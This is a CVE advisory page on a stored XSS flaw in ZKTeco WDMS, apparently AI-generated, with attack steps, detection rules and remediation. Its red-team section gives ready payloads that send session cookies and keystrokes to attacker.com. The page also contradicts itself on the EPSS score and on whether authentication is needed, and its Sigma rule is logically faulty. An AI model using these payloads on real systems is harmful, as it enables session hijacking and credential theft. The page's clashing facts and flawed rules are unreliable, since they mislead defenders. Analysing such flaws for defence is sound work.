☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zkteco logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51157

CVE-2023-51157 Cross-Site Scripting in Zkteco
📅 PUBLISHED: 2024-09-25 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.78%
👁️
0.78% probability
19.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51157 identifies a stored Cross-Site Scripting (XSS) vulnerability in ZKTeco WDMS (Web Door Management System) version 5.1.3 Pro. The flaw resides in the "Emp Name" parameter, allowing a remote, unauthenticated attacker to inject arbitrary JavaScript or HTML. Successful exploitation can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is publicly known but currently lacks an official patch from ZKTeco. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk remains significant for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: UNKNOWN (No official vector provided by NVD)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
  • User Interaction (UI): Required (R) – A victim must view the maliciously crafted employee record.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Potential for data exfiltration.
  • Integrity (I): Low (L) – Potential for content manipulation.
  • Availability (A): None (N) – No direct impact on availability.
  • Threat Level: High – Due to the lack of a patch and the potential for credential theft and lateral movement within an organization's physical security network.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) within the employee management module of ZKTeco WDMS. The application fails to properly sanitize or encode user-supplied input in the "Emp Name" field before storing it in the database and later rendering it in the web interface (e.g., employee list, attendance reports).

Attack Flow:

  1. An attacker gains access to the employee creation or editing functionality (often via default credentials or a separate vulnerability).
  2. The attacker injects a malicious payload into the "Emp Name" field, such as <script>alert('XSS')</script> or a more sophisticated payload for session theft.
  3. The payload is stored in the application's database.
  4. When an administrator or other user views the employee list or a report containing the malicious record, the browser executes the injected script.
  5. The script can then steal session cookies, redirect the user to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the current production version. A patched version would implement proper output encoding.

Vulnerable Code (Conceptual - PHP/ASP.NET):

// Vulnerable: Direct output without sanitization
echo "<td>" . $employee_name . "</td>";

Patched Code (Conceptual):

// Patched: HTML entity encoding
echo "<td>" . htmlspecialchars($employee_name, ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to ZKTeco WDMS v5.1.3 Pro (e.g., via Shodan or internal network).
  • Valid credentials (default or brute-forced) to access the employee management module.

Exploitation Steps:

  1. Login: Authenticate to the WDMS web interface.
  2. Navigate: Go to the employee management section (e.g., Personnel > Employee).
  3. Inject Payload: Create a new employee or edit an existing one. In the "Emp Name" field, enter a payload to steal cookies:
    <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    
  4. Trigger: An administrator or user views the employee list. The script executes, sending the victim's session cookie to the attacker's server.
  5. Session Hijack: The attacker uses the stolen cookie to impersonate the victim.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team

Detection & Response:

  1. Monitor Logs: Review web server logs for unusual POST requests to employee creation/editing endpoints containing <script> or onerror= patterns.
  2. Network Traffic: Look for outbound connections to unknown IPs/domains from the WDMS server, especially on non-standard ports.
  3. User Behavior: Alert on sudden changes to employee records, especially the "Emp Name" field.
  4. Honeypot: Create a dummy employee record with a benign XSS payload to detect if an attacker is probing the system.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP/HTTPS requests to attacker-controlled domains from the WDMS server.
    • Suspicious Referer headers pointing to employee management pages.
  • Host (WDMS Server):
    • Unexpected entries in the employee database table containing HTML/JavaScript.
    • Modified web application files (e.g., employee_list.php).
  • Logs:
    • Web server logs showing POST /.../employee_save.php with payloads like <script>.
    • Application logs showing failed login attempts followed by successful employee modifications.

Detection Engineering

YARA Rule

rule Detect_ZKTeco_WDMS_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-51157 in ZKTeco WDMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-51157"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $emp_name = "Emp Name" nocase
    condition:
        any of ($xss*) and $emp_name
}

Sigma Rule

title: ZKTeco WDMS Stored XSS Attempt
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects attempts to exploit CVE-2023-51157 by injecting XSS payloads into the Emp Name parameter.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'Emp Name'
        cs-uri-query|contains|all:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in employee names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ZKTeco WDMS Stored XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"Emp Name"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: Place the WDMS server on a segmented network with strict firewall rules, limiting access to only authorized administrators.
  2. Input Validation: Implement a Web Application Firewall (WAF) rule to block requests containing <script>, onerror=, or other XSS patterns in the Emp Name parameter.
  3. Credential Hardening: Change all default passwords and enforce strong password policies.
  4. Monitor: Enable detailed logging and monitor for suspicious activity.

Long-Term Fix:

  • Vendor Patch: Await an official patch from ZKTeco. Contact their support for an ETA.
  • Code Fix: If source code is available, implement proper output encoding (e.g., htmlspecialchars() in PHP) for all user-supplied data rendered in the browser.
  • Upgrade: Consider migrating to a supported, patched version of WDMS or an alternative access control system.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

ZKTeco WDMS
ZKTeco WDMS 5.1.3

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51157/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.